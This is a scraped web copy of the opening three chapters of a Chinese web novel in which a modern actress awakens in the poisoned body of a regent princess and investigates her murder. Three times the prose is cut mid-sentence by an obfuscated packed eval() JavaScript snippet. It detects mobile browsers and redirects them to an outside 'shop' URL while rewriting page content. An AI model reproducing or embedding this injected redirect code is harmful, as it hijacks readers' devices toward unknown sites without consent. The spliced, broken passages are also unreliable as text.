《总有人要谋害本宫》 1. 灵堂诈尸 痛,是萧令瑜恢复意识时的第一反应。不过这种疼痛并不是那么难以忍受,感觉跟平常犯胃病的时候差不多,从胸口处到左侧内里有种火烧火燎的灼热感。 她想她这是犯胃病了,必须要吃点胃药。很快就要到剧组了,不能因为身体原因影响到接下来的拍摄工作。虽然她在剧组早已杀青,但因为剪辑需要,所以还要她回来补拍几个镜头。 萧令瑜这么想着,迷迷糊糊地伸手四处摸索,但手臂却软得跟泡了水的粉丝一样,很难使上力气。 哦,对。她这才反应过来,自己是出事了。那天参加金鸢奖的颁奖典礼获得最佳女主角的奖项之后,她连夜坐车赶回剧组附近的酒店,途中发生了车祸。 所以...她这是躺在医院的病床上吗? 萧令瑜恍恍惚惚地想着,眼皮微动,努力了片刻才睁开了眼。可是待到完全适应光亮,看到自己在哪之后,她的大脑突然宕机,不免呆愣起来。因为她发现自己躺着的地方十分诡异,四四方方的木板将她整个人都框了起来。 这怎么那么像一个棺材? 这是萧令瑜脑海中最先浮现出的想法。 她觉得自己一定是眼花了,连忙眨巴了几下眼,然后盯着四周看了许久。最后她终于清清醒醒地意识到,她是真的躺在一个棺材里。虽然棺木的用料看着十分讲究,上头刻画着繁复的花纹,但它的的确确是一副棺材! 萧令瑜冷不丁地打了一个激灵:不是,我这是死了吗?可是...死人能感知到痛吗,不应该啊。 她费力地抬了抬手。手臂虽然还很无力,但是已经恢复了一些知觉,所以说她还活着呢! 不是,谁啊,这么缺德,把她这个大活人扔棺材里了?!嗯...难道是医生搞了个乌龙?比如说她只是暂时休克,然后被误诊为死亡?好吧,这些都不是重点,重点是她得先从棺材里爬出来,叫人把她送到医院。 她还能再救一下的! 萧令瑜深吸一口气,费劲地撑起手臂,慢慢地倚靠着后背的棺木坐了起来,紧接着就被眼前的景象给震住了。因为这灵堂布置得实在是太复古了,或者说整个大堂都带着一股古装影视城的味道。更离谱的是,棺材两侧和前方跪着许多人,一个个的还都穿着古装。 灵堂cosplay...... 萧令瑜顿感无语:这场面是不是有点太超前了。是她的粉丝这么布置的吗?想想好像很有可能啊,毕竟她能拿金鸢奖就是因为一部热播的古装剧。 萧令瑜扭脸看向一旁,这边跪着四五个人,烧纸钱的烧纸钱,抽泣的抽泣。但打眼望去这些人她都不认识,这就很意外了。 好吧,这些暂时也不重要。 她紧紧地盯着一个人,因为这人离她最近。看他的穿着,貌似是一个宦官,也就是太监,锤头顿足的,哭丧的动作比起旁人来略微显浮夸。 萧令瑜张了张嘴,强压着胃部的疼痛,以及喉咙间隐隐翻涌的不适感说道:“那位小哥...” 好吧,这点声音落在嘈杂的环境里就跟一滴水融入了大海,一点响动都没有。 萧令瑜:...... 她趴在棺材沿上不死心地又喊了几声,但奈何声音实在太小了,并没有引起任何人的注意。萧令瑜有点着急,寻思着这样不行,有没有什么东西可用。但是棺材里能有什么?哎,你别说,还真有! 她将棺材里里外外扫了个遍,最后视线落在了自己身上:我就说怎么感觉身上这么沉呢。瞧这身上的东西吧,那么老长的金玉项链压在胸前,再看手上戴的,光是戒指就好几个,还有镯子、臂钏什么的。 萧令瑜十分干脆地将手指上的戒指撸了一个下来,费劲巴拉地扔了下去。好吧,没中。再拔一个戒指再扔。嗯,还没中。 萧令瑜发了狠,决定扔个大件的,但是使劲扯了两下胸前的项链都没扯下来,最后她决定退而求其次,将手腕上的金镯子褪下来一个,瞄准了扔下去。当然,戒指这么小的东西都扔不准,更何况是镯子了。不过凑巧的是那镯子却圆圆滚滚顺顺利利地滚在了那个太监的面前。 在萧令瑜默默地祈祷之下,太监呼天抢地的动作一顿,明显是看到镯子了,然后就见他哭哭啼啼跪着往前走了两步,扑在地上将镯子暗暗收到了自己的袖子里。收完,他又看到了旁边不远处的戒指,然后又往那边挪了几挪,也将几枚戒指也收入了怀中。 萧令瑜十分欣慰:太好了,离棺材越来越近了,只要稍微一抬头就能看见我了。 太监捡完东西之后,左右看了两看,然后在萧令瑜殷切的期盼下终于抬头看了一眼,然后就这么水灵灵地和萧令瑜对上了视线。 萧令瑜面露微笑,字正腔圆地说道:“麻烦帮我叫救护车,谢谢。” 不料那人见了她却跟见鬼了似的,眼珠子瞬间瞪大,嘴张了两张,一句话也没说出口,两眼一翻,身子一倒,直接晕了。 萧令瑜眉头蹙了起来,暗道:这人的心理素质怎么那么差。叹了一口气,将视线落在原本跪在太监后方一点的女生身上。那也是个穿着古装的人,眼睛红肿,双目无神地烧着纸钱。 萧令瑜继续从身上扒镯子下来故技重施,一连往她那边扔了三个,终于有一个不负众望地滚到火盆旁边去了。 萧令瑜:拜托,关注关注我这个“死人”好不好? 绿芙现在已经哭得什么都哭不出来了,身体僵硬神情呆滞浑浑噩噩地看着火盆中的火苗飞溅。就在这时,不知道从哪里滚过来一个镯子。原本她并没有在意,可在看到这个镯子的样式时就是一呆。 她赶忙将镯子捡起来,仔仔细细看了好久才确定自己并没有看错:这是她给公主装殓时戴上去的,绝不可能有错。 公主...殿下... 绿芙急急地向上看去,正看到原本咽了气的公主正倚靠在棺材沿,冲她微笑示意。 绿芙不禁瞪大了双眼:!!! 一瞬间,她的心跟不会跳了似的,不可思议、震惊、激动、欣喜等种种的情绪充斥全身,让她整个人都僵在了那里。 萧令瑜努力保持笑容,让自己散发着温和的气息,顺带在心里默默念叨:希望这个人的心理素质能比刚刚那人强一点。在萧令瑜诚心的祈祷下,那人果真没晕,而是激动地大喊了起来。 “太医,快叫太医,”绿芙一阵撕心裂肺地呼喊,“殿下活了,殿下死而复生了。” 萧令瑜一脸懵逼地听她在那边咆哮:殿下,殿下是谁,不会是在喊我吧。下一秒,那人就冲她跑了过来,连滚带爬,火盆都被她给踢翻了。 绿芙满脸是泪,跪伏在萧令瑜的身旁,“殿下,您终于醒了,奴婢有罪,奴婢罪该万死。” 萧令瑜刚想开口:“我......”可只说了一个字,胃中就是一阵翻涌,紧接着“哇”的一声往外吐出一口黑血。 萧令瑜紧紧的盯着那一滩血迹,一时间不知道这是什么情况,大脑飞速运转。下一刻,脑中凭空出现了很多乱七八糟的记忆,跟烟花似的在头脑中炸裂开来。萧令瑜的大脑被这些复杂的信息冲击得直接停止运行,眼前感到阵阵漆黑。 不好,我感觉我也要晕了。 这是萧令瑜昏过去前最后的想法。 萧令瑜的意识再次上线的时候是在傍晚,目测自己是躺在床上,床帐外隐隐露出烛光的昏黄,四周静悄悄的。 在这一片寂静当中,萧令瑜的思绪逐渐清晰,觉察到自己现在的处境之后,没忍住伸手捂住了脸。 她死了,但是又没完全死。确切地说,是现代的她已经死了,身体估计都在走火化流程了。不过她的灵魂却没死,她又活了,借尸还魂在了一个陌生朝代的女子身上。 按照道理,死而复生,这应该算是老天爷眷顾?但先别急着庆祝,因为摆在她面前有一个好消息和坏消息。 好消息,原主的身份极高,是这个名为大周的朝代的大长公主。当然公主和公主之间也是有区别的,毕竟唐朝的公主和宋朝的公主地位可是天差地别。而她很幸运的穿成了拥有权力的公主,能摄政的那种。 这种超然的地位来源于公主的出身。大周朝的上一任皇帝是她一母同胞的亲哥,现任的小皇帝是她的亲侄子。因为先帝临终前嘱托她照顾新帝,辅佐朝政,因此她就成了大周朝头一位能够参政议政的大长公主。 这身份和地位,简直是顶了天了。 不过先别急着高兴,因为还有个坏消息,那就是公主被人给害了,死因中毒,目前罪魁祸首还没有查出来。如果找不到背后真凶,那么意味着她很有可能再次被害。 萧令瑜突然回想起自己白天吐出来的那口黑血,紧接着脑海中闪过几个片段:等等...毒药? 她支着胳膊坐了起来:嗯,睡了一觉感觉力气都恢复了好多。萧令瑜慢吞吞地下了床,也不知道是不是因为拥有公主的记忆的原因,周遭的桌椅陈设让她觉得陌生又熟悉。 萧令瑜环顾四周,最后视线牢牢的锁定在了一旁的梳妆台。缓缓走过去,按照记忆里的位置,将梳妆台放着首饰的格间最底部打开,里头果然放着一小瓶的...毒药... 这是公主偷偷命人买的毒药,据说无色无味,入口即化,见效之快乃毒杀别人的不二之选。 萧令瑜拿起装毒药的瓶子,忍不住思索起来:公主买毒药做什么?还有,公主前不久买了毒药,但没过几天自己就中了毒,两件事发生的太凑巧了,总不能是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585429|205227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主买的毒药,结果最后却毒死了她自己? 啊这...有点魔幻啊... 萧令瑜不由自主的陷入到了一片沉思之中。 就在这时,外头轻微的脚步声打断了她的思维。很快,白天伏在棺材前嚎啕的女生端着托盘走了进来。按照记忆,萧令瑜已经知道她是谁了,这人是公主的心腹,在公主身边服侍多年,现在是公主府的掌事,名叫绿芙。 “殿下,您醒了。”绿芙将东西放下,欣喜的行礼道:“奴婢扶您回床歇息,太医说您此时还很虚弱,奴婢命人做了些燕窝粥,您用些吧。” 萧令瑜:...... 很好,现在新问题来了,她并不是原来的公主,但却不能被人知道。倘若别人要是知道她不是公主本人而是附身的不知道哪里来的孤魂野鬼......按照古人对鬼神的恐惧和敬畏,她就算不死也得被扒一层皮。 好不容易重新活一回,所以还是能活多久是多久吧。 萧令瑜暗暗心想。 绿芙迟迟得不到回应,稍微走近了些,正看到萧令瑜站在梳妆台前,手上拿着装有毒药的白色瓷瓶,脸上神情莫测。她心知公主是在想此次遇刺的事,于是连忙下跪:“奴婢有罪。” 萧令瑜的思绪瞬间回转,“嗯?”了一声。 绿芙重重回答:“奴婢监管不力,致使府上混进了贼人,还请殿下责罚。” 萧令瑜:其实她没别的意思,就是方才被绿芙这一跪给惊着了。 不过她没着急叫绿芙起身,而是先过了一下公主的记忆。绿芙自小入宫在公主身边侍候,二人主仆多年,情谊不浅。另外,公主先前中毒毒发意识模糊之时听到的是绿芙急切地叫太医的声音,再结合一下今天她醒过来后,绿芙脸上的种种神情也不似作假。如此看来,绿芙这人应该可信。 萧令瑜将毒药放回原位,慢条斯理地道:“也是我自己疏忽了。”说着冲绿芙抬了抬手示意她起来,接着走到床边坐下。 绿芙这才敢起身,端着燕窝粥走至床边,半跪着服侍萧令瑜用饭,轻声道:“奴婢已经先行试过毒了。” 萧令瑜“嗯”了一声,拿起勺子用了几口,须臾问她:“医生...太医怎么说?” 绿芙:“太医说您已经吐出了大半毒血,体内只存有些许余毒,只要近期好好休养便无大碍。” 萧令瑜点了点头,再次询问:“罪犯...凶手可曾抓到?” “奴婢无能,无法确定是何人下手。”绿芙愧疚自责的摇了摇头,“不过涉及此事的寝殿侍女、茶房侍女,以及今日来府上送山泉的水夫,都被抓起来关在了暗室。” 萧令瑜喝粥的手顿了顿。 公主被害时正在花园的凉亭中赏鱼,在那期间公主入口的东西只有下人送上来的茶水。另外她刚刚推测,公主有可能是被自己买的毒药毒死的,那么知道毒药并且能接触到毒药的人也有很大嫌疑。 结论就是:负责府上茶水的人以及能在寝殿行走的侍女都是疑犯,绿芙的处置很是全面。 萧令瑜抿了抿唇:“先审一审吧。”过了一会她又想起一件事,“晌午那个昏过去的太监...”被她吓晕过去的人应该没事吧... “那是陛下派来的御前内侍,是替陛下前来吊唁的。您再次昏倒后,奴婢让太医替他扎了针,之后他便回宫复命去了。”绿芙缓了口气继续说道:“原本堂内、堂外还有一些前来吊唁的官员,奴婢也都着人将他们送走了。” 萧令瑜抬眸看了看她:“你办事很是妥帖。”真不愧是公主府的掌事,办事是真靠谱。 等到萧令瑜喝完了粥,不多时又有人送上了汤药。绿芙先行接过,拿起汤勺搅了搅,喝了一口后换了个汤勺,然后送上来说:“太医开的清毒的方子,里面加了些许安神的药材。” 目前对于萧令瑜来说最重要的两件事——治病养身,还有就是查明真凶。 萧令瑜默默在心中嘀咕,拿起汤碗几口将中药喝完。喝过药漱了口,她被绿芙扶着躺回了床上歇息。萧令瑜看着头顶的床帐,默默琢磨起了以后:以后啊,唉,任重而道远啊! 萧令瑜想着想着,慢慢的闭上了眼,睡过去前她想,这安神药见效还挺快的。 待到第二天早上,萧令瑜隐隐约约听见窗外貌似有麻雀在叫,叽叽喳喳的。在清脆的鸟鸣声中,她缓缓从睡梦中醒来。睁开眼回神的瞬间,她就惊了,因为她的身边坐着一个人! 一!个!人! 对方年纪不看着不大,但却一张嘴就将萧令瑜雷了个彻底:“姑姑,您没事可真是太好了。” 萧令瑜简直是一脸的懵逼:不是,你谁啊,怎么还胡乱攀亲呢,我可没有你这么大的侄子。 2. 皇帝探望 坐在萧令瑜床榻一侧的是一个看着年纪不算大的男孩子。他的身形貌似刚刚开始抽条,面庞有些清瘦,眉目像冬日河流里被冲刷过的石片,锋利中带着些许的阴郁。他穿着一身明黄色的袍子,上头绣着张牙舞爪的龙纹。 龙纹?天底下能穿龙纹的人还能有谁? 萧令瑜立马将眼前的人跟公主的记忆对上了号。这人是公主的侄子,当今的天子,萧烨,今年才十二岁。 不过他怎么会来这...还是这么突然地出现在卧室,让她感觉稍微有点惊悚。 “姑姑?”皇帝见萧令瑜没有回应,轻声询问。 萧令瑜回过神来,清了清嗓子,装作刚从睡梦中清醒过来的模样,坐起身回答他说:“陛下,陛下怎么来了。” 皇帝眼中的关心不似作伪,又哭又笑的说:“昨日得知姑姑死讯,侄儿不敢置信,悲伤不已,以致数度昏厥。而后听闻姑姑死而复生,喜不自胜,所以迫不及待过来探望。只是来的不巧,姑姑还在殿中休息。我在殿外等了许久,迟迟见不到您,故而坐立难安,所以就进来了,还请姑姑不要见怪。” 萧令瑜听他一口一个的叫着姑姑,心里有点别扭。不过想了想,公主和皇帝私下相处时好像便是如此的亲密。 这也难怪,皇帝其实也是一个苦命的孩子。公主的哥哥也就是上一任皇帝去世时他才八岁。先帝嘱托完公主和其他辅政大臣之后就咽了气,没过多久,皇帝的母亲也就是先皇后殉情的消息就从后宫传来。皇帝一天之内父母双亡,怎一个可怜了得。之后公主就责无旁贷的照顾起了皇帝的饮食起居,辅助皇帝处理政务。也就是说公主和皇帝虽然明面上是姑侄,但其实相处起来更像母子。 萧令瑜深吸一口气:虽然我还没有给人当过妈,但我一定尽力。 嘴角笑了笑,轻声说道:“倒是让我想起陛下刚登基时候的事了。那时先帝和先皇后刚刚下葬,陛下从东宫搬到紫宸殿内居住。但因陛下遭遇变故,再加上宫室偌大,故而无法安眠,那时我就像你这样坐在床边,轻轻地哄你入睡。不想现在换过来了。” 皇帝也跟着露出回忆的神色,面色温柔,“是啊,那时姑姑就住在紫宸殿的偏殿,时时刻刻的照顾着我。只是才过了月余,姑姑就从皇宫搬出到了公主府。”言语微微停顿,转而说道:“我已经问过太医,他说姑姑体内还有余毒,近日需要静养。” “嗯。”萧令瑜点头,“也不知要养到什么时候。”装模作样的咳嗽了两声。她想把病养得久一点,最起码让她熟悉这个朝代以及公主的记忆。 皇帝抿了抿唇,担忧的说道:“可是朝堂之上没有姑姑坐镇,我心中总觉得畏手畏脚。” 萧令瑜:哦对,皇帝还是个半大的孩子呢,碰到这种事肯定手足无措。叹了一口气说:“我会好好休养的。不过朝政上,陛下也该学着慢慢上手了。若有大事可请教裴相和陈相...”这俩都是先帝去世前指定的辅政大臣,一个官至中书令,一个官至门下侍中。 说着说着觉察出信息不大对,赶紧改了个口,“哦,我忘了,裴中书令已经去世一年多了,现在的中书令是韦大人,平常陛下多同二位大人商讨国事吧。” “姑姑这么说,那我就放心了。”皇帝轻轻一笑,伸手给她掖了掖被角。过了一会儿,他突然严肃起来,神情冷冽,“至于对姑姑下毒之人,我绝对不会姑息。姑姑现在病着,怕是顾不上追查此事。不如把疑犯交由内侍省掖庭狱,朕要亲自审问。我倒要看看究竟是谁胆大包天,光天化日之下竟敢谋害皇亲,实在是罪大恶极。” 萧令瑜本来觉得自己查和别人查好像也没什么区别,刚想开口答应,可很快改变了主意。 这要是把人交给了皇帝,查出了什么......其实别的倒还好说,但要是其中有人说出了毒药的事,那她该怎么跟皇帝说公主私□□药是打算干嘛用的呢?不好解释啊。 萧令瑜的脑子加足了马力,很快找出了反驳的理由:“这不合规矩。” 内侍省管辖的掖庭狱设在皇宫之内,主要的职责是惩治犯错宫人。但是公主遇刺这种事是个大案子,一般会由大理寺进行审理。 萧令瑜拍了拍皇帝的手道:“我对底下人一向不薄,想先亲自审一审他们,若是无果再交由大理寺。” 皇帝嘴唇微动,似乎不太同意,可又找不到反驳的理由,良久后才说了句好。“不过,我心中早有疑虑。”他沉思了片刻后道:“怕不是那些藩王余孽......” 萧令瑜神情一凛:确实不排除这个可能! 提到所谓的藩王余孽,还是要从先帝驾崩时说起。那时先帝去世,举国哀痛,小皇帝在国丧期间匆忙登基,远在外地的王爷则要进京奔丧。主少则国疑,面对年方八岁,刚刚登基的小皇帝,那些进京的王爷们可就坐不住了。其中以齐王、楚王、东海王为首的王爷们在国丧过后却不离京,仗着自己是皇帝的叔叔,公主的兄长,不仅公然联络朝臣插手朝政,还对公主进行政治攻讦。 当然,那三个王爷的结局自然是显而易见,公主用合纵连横之法将其逐个击破,最后他们全被公主以谋反的罪名给诛杀了。不仅如此,他们的后人、牵连的宗室以及涉及的世家,公主也一个都没放过。那段时间,洛阳城的朱雀大街,每隔不久就会有人头落地的事情发生。 虽然公主诛杀三王稳固朝堂已经一年有余,但并不能排除有漏网之鱼偷偷潜入公主府,等待时机然后复仇。 想到这里,萧令瑜不自觉的攥紧了被子:“是有这个可能。”必须要查一查抓起来的疑犯之中有没有这两年内进入公主府做工的。萧令瑜现在就想问问绿芙,那些疑凶审的怎么样了。 不过,皇帝还在这呢。 她看向皇帝,委婉的下了逐客令:“陛下是天子,不能久在宫外,还是早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585430|205227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些回去吧。” “那姑姑......”皇帝急切的说。 萧令瑜打断了他的话,安抚他道:“陛下放心。”温和地示意他:“宫外不安全,陛下还是请回吧。” 皇帝见她说得如此干脆,这才依依不舍地道:“那姑姑好生休息。”接着一步三回头地走了。 等到皇帝的身影从屋内消失之后,萧令瑜才敢长长地舒了一口气。 伪装成别人亲人这种事...真是...唉! 可要是有的选,她也不想占据别人的身体,利用别人的身份,面对原主的亲人演的这般以假乱真。 可这也是没有办法的事啊! 要怪就怪老天爷造化弄人,让她借尸还魂了。而她好不容易重活一回,总不能再去寻死吧。谁知道她这回再死的话是穿回现代,还是真嘎了呢! 不过在占据别人的身体这件事上,她也确实问心有愧... 但有句话怎么说来着,坏人装好人要是能装一辈子,那他就是好人。换成现在的情况就是,她如果伪装成公主,但要是能伪装一辈子,那她就是公主。 萧令瑜暗暗下了决定:她会用心做好一个摄政公主,也会努力当好一个姑姑。倘若公主在天有灵,看到她没有滥用公主的身份,还承接了公主的意志,那么公主应该也会欣慰吧。 坚定了这个信念之后,萧令瑜的心里就舒服多了,然后高声道:“来人。” 听到传唤,绿芙从殿外走进来,轻声道:“殿下,您可要起身?” 萧令瑜点了点头。 绿芙道了一声是,接着拍了拍手,不多时便有侍女进来送上洗漱用的水盆和帕子。 萧令瑜在擦脸的间隙开口询问:“那些人审的怎么样了,可有结果?” 绿芙回答:“卫典军昨日将他们单独审理,审了有一个晚上,其中杂七杂八的事情是问出了许多,但是关于下毒之事,却一个个的都说自己冤枉。” 萧令瑜蹙起眉头:“将他们的供词都拿过来给我看看。” 不多时供词呈到了萧令瑜的手上。供词有好几份,上头写明了疑犯姓甚名谁,家庭情况,进入公主府的时间,在府上做事时都知道些什么秘闻,以及在公主遇害期间都在做什么,等等。 萧令瑜一目十行的扫过去,但并没有得到她想要的信息。因为这些人在公主府上做事都有些年头,就连送水的水夫,也给公主府供水有三载了。 萧令瑜的眉头一下拧成一团。 绿芙见萧令瑜对这些供词有所不满,低声道:“殿下,可要对他们用刑?” 萧令瑜诧异的抬头:“都有什么刑罚?” “鞭笞、杖责,”绿芙想了下继续补充,“若是殿下觉得这些手段太浅,那还有烙刑。” 萧令瑜:...... 片刻过后,她缓缓开口:“安排一下,我要亲自去暗室审他们。” 3. 欲擒故纵 公主府的暗室位于花园的西北角,这里原本是个地窖,后来才改作了暗室,用来暂时关押犯了错的侍从。暗室不算特别大,走下楼梯后放眼望去左侧是一排铁栏,中间隔了三两间,右侧是正儿八经的两间屋子。 萧令瑜过来的时候,看守嫌疑犯的侍卫们纷纷拱手行礼。为首的那个是公主府的典军,也就是公主府的侍卫统领,姓卫名征。 萧令瑜问他:“这两日还没有人改口吗?” 卫征颔首道:“回殿下,属下问过几回,但他们的供词一直不曾变过。” 萧令瑜抬腿往左边的屋内走去,进来后发现这里的刑具都已经摆好了,有沾了水的鞭子、杖责用的凳子、板子,旁边还摆着一盆烧得极旺的炭火,里头的烙铁通红一片。 这个严刑逼供的架势是挺大的。萧令瑜满意地点了点头,坐下后说道:“挨个带进来吧。” 不多时,卫征等人就押着一个男子进来了。那人脚步虚浮,一看就没睡过好觉,进来后噗通一声跪下,砰砰的磕了几个响头,哀声求饶:“草民见过大长公主。殿下,草民冤枉,草民冤枉。” 这几个头磕的有些吓人,萧令瑜垂下眼尽量不看,努力板着一张脸。身旁绿芙冷冷地向下望去,沉声道:“殿下在此,还不如实招来,免得受皮肉之苦。” 水夫惊恐地看向旁边的刑具,一时间声音都不由自主的颤抖了起来,“真不是草民干的,草民就是一介水夫,素日打些山泉水供应府上。草民什么都不知道,真的什么都不知道。” “放肆!”绿芙瞬间横眉冷竖道:“殿下面前还不说实话。” 水夫往前爬了两步,神情惶恐:“殿下遇刺一事,当真和草民无关啊。草民家中还有妻儿老小,全都要靠草民养活,还请殿下开恩,殿下开恩。”他这么说着连连磕头,很快额头一片红肿。 萧令瑜心头涌出浓烈的不适,皱着眉头将这些压了下去,吩咐道:“将他捆起来,用刑。” 很快水夫就被侍卫们架起来绑在了刑架上,侍卫拿起一旁的鞭子,用力一挥,鞭子“嗤”的划过地面发出响亮的声音。 “慢着。”就在侍卫即将动用鞭刑的时候,萧令瑜突然开口。她站了起来,慢慢走了过去,亲自拿起一旁的烙铁,眼中毫无波澜:“鞭刑太轻了,直接用这个吧。”转头看向水夫,重重的说:“我再给你最后一个机会,说是不是你做的,受了谁的指使,只要你开口,我便会饶了你。倘若不说,怕是要受一受这烙铁的苦楚了。” 水夫剧烈挣扎起来,涕泗横流,“草民冤枉,草民真的是冤枉的,跟草民真的无关!” 萧令瑜不听他的哀嚎,自顾自地倒数,“三、二...一。”她拿着烙铁慢慢靠近水夫,在最后一个数说完之后,突然将烙铁朝着他的脸部用力的按了下去。 “啊!”水夫凄厉地惨叫一声,接着两眼一翻晕了过去,与此同时,一股浓烈的腥臊味从他的身下传来,竟然是被吓得失了禁。 其实萧令瑜手中的烙铁并未按在水夫脸上,而是落在了他的脸侧,木质的刑具上面。木头炭化的浓烟再加上水夫身上难闻的气味混合,刺激得萧令瑜忍不住咳嗽起来。 绿芙赶忙上前来送上帕子,关心地说:“殿下。” 萧令瑜将手中的烙铁放下,面色因为咳嗽而变得红润,用帕子捂了捂嘴:“无妨。”过了一会,她看向卫征,“先这么审,用酷刑假意逼迫,看看有无人改口承认。” “是,属下明白。”卫征回答。 萧令瑜“嗯”了一声,被绿芙扶着往外走,身后很快传来卫征的吩咐:“先把他拖到隔壁去,带下一个人进来。”萧令瑜不想继续听了,加快了脚步,很快身后的声音就淡了。 回到殿内,萧令瑜坐在那闭上了眼。 是她高估自己了。原本她还打算亲自一个个地试过去,但才审了一个自己的良心就有点受不住了。 以前拍戏的时候倒也不是没有拍过监牢的戏份,可那都是假的,装扮也好、伤口也好,那都是服化道组的老师化妆打扮出来的。但这里不是剧组,这暗室内的人和刑具都是真的,没有一丝水分。如果用刑,那疑犯受到的就真的是切肤之痛。 以现代的法律来讲这是故意伤害,按照古代的律法来讲叫作动用私刑、视人命为草芥。不管怎么论,都说明这是一件非常残酷残忍的事情。 萧令瑜她...实在做不来...哪怕是装装样子,也有些看不下去... 到了晚上,绿芙将新的供词呈了上来。是额外供出来许多事,但都是个人恩怨或是隐秘的私事,什么茶房侍女之间互相挤兑,寝殿侍女疑似和侍卫有私之类的。但涉及到谋害公主,依旧没有一个人愿意招认。 萧令瑜看着五花八门的供词叹了一口气,伸手揉了揉额头:不就是查个案子吗,怎么就这么难!这么难! 绿芙在一旁轻声道:“殿下,要不要真的动刑?” 不行。 萧令瑜赶忙摇了摇头,之后思索了许久之后,沉声说:“传我的话,把人都放了吧。” 绿芙:??? 有一瞬间,她怀疑自己是不是听岔了,不可置信地再次确认:“殿下,说...什么?” 萧令瑜垂着眼眸再次重复了一遍自己的命令:“我说,把他们...都放了。” 放人这个决定并不是萧令瑜随口胡说的,而是她经过深思熟虑后的选择。 首先,她并不会对他们真的用刑,一个是因为用刑太过残忍,作为一个来自现代的灵魂,她不想做这样的事。第二,即便用刑过后有人愿意承认自己是凶手,那供词也不一定可信,毕竟不能排除有屈打成招的可能。 其实萧令瑜一开始并没有打算放了他们,而是想把这些人管控起来。既然确定不了凶手,那就把疑犯放到可控的地方,比如说公主在京郊或京畿地方的田庄。这样既规避了风险,也不用对他们严刑逼供。大不了养他们一辈子么,公主府家大业大的,养几个人还不容易? 但很快这个方法就被萧令瑜在脑中给否决了。原因很简单,这些人她留不住。 现在公主府扣留疑犯这种事其实已经很出格了。谋害公主这种震动朝堂的大案件,理应由大理寺来审查。目前她扣留疑犯自行审案已经越过了审案流程。大理寺那边应该是碍于公主的权威暂时默许了。但如果她自己没有查出什么来的话,那么这些人之后都要移交到大理寺。 问题是,萧令瑜愿意将人交给大理寺吗?那肯定不能啊。 瞧瞧呈上来的供词吧,就说寝殿侍女们的供词,六个寝殿侍女都承认知道公主购置了毒药且将其藏于殿中。如果把这些人交到大理寺,那公主购毒意图不轨的事情可就要传遍了。 此外,她如此恐吓都没能问出来什么东西,把人交到大理寺就能问出什么来了吗?而且大理寺对待这些疑犯可不见得会像她这样温和!这些人进了大理寺能不能全须全有的出来都不一定。 所以综合来看,这些嫌疑人,萧令瑜不能私下扣留很久,也不能交到大理寺。因此最好的方式就是将这些人赶出洛阳,并且勒令他们永不许回京。 问:放走凶手可不可惜?废话,肯定可惜啊。那可是想要萧令瑜命的人啊,放跑了能不可惜嘛!可要是换一个思路,用疑凶的命来保全其他无辜受牵连的人的命呢? 从这个角度看的话,这笔买卖很划算! 而且勒令他们不准回京,萧令瑜也算将危险人物隔绝在外了,不是吗? 因此萧令瑜才会对绿芙说,把他们都放了。因为这是权衡利弊之后最好的解决办法。不过,还有一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585431|205227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题,那就是她缺一个对外放他们走的理由...... 萧令瑜:有什么理由能正当的放人,又能当作借口搪塞大理寺呢?emmm...容我好好想想。 “殿下...您当真要放他们离开?”绿芙不解的问道。 萧令瑜“嗯”了一声,抬起头来:“不然呢?是要对他们用刑,还是直接移交大理寺?” 绿芙被这么一问也是沉默了。她倒觉得宁可错杀一百不能放过一个。但如此一来,事情传扬出去总对殿下的名声有碍。但移交大理寺也是不妥,若是那边审出了公主的私事,那可如何是好?只是不管怎么样,都不能把人放了啊,这... 萧令瑜揉了揉自己的额角,轻轻叹了一口气:“放人也不见得是件坏事。”两利相较取其重,两害相较取其轻。 绿芙呆呆地听着,眼眸突然睁大了一些,恍然大悟:“殿下,奴婢明白了。” 萧令瑜欣慰一笑:“你明白就好。”不愧是公主的心腹侍女啊,这思维能力就是强。 绿芙嘴角露出一抹笑意,赞叹的说道:“殿下曾经说过,故去之者纵之,纵之者乘之。殿下可是要放虎归山,然后观其巢穴?” 萧令瑜:...啊这...我是这个意思吗?不过,很快她明白了绿芙的意思,觉得这么做...好像...也行? 她的眼睛唰的一下亮了:瞧这话说的多好啊。既是放人的理由,说出去也能搪塞大理寺。而且说不定还真能如绿芙所说,可以顺势追查出来幕后主使。 萧令瑜冲绿芙赞叹一笑,拍了拍自己身旁的位置示意绿芙坐到她身边来。 绿芙赶忙低头连连道:“奴婢不敢。” 萧令瑜:“没有什么不敢,坐过来。” 有萧令瑜发话,绿芙才慢慢跪坐在萧令瑜的身边。 萧令瑜越看绿芙越觉得她顺眼:这么聪明的一个人究竟是怎么长的呢?她将手上的玉镯褪下来给绿芙戴上,柔声道:“公主府的事情由你打理,我很放心。” 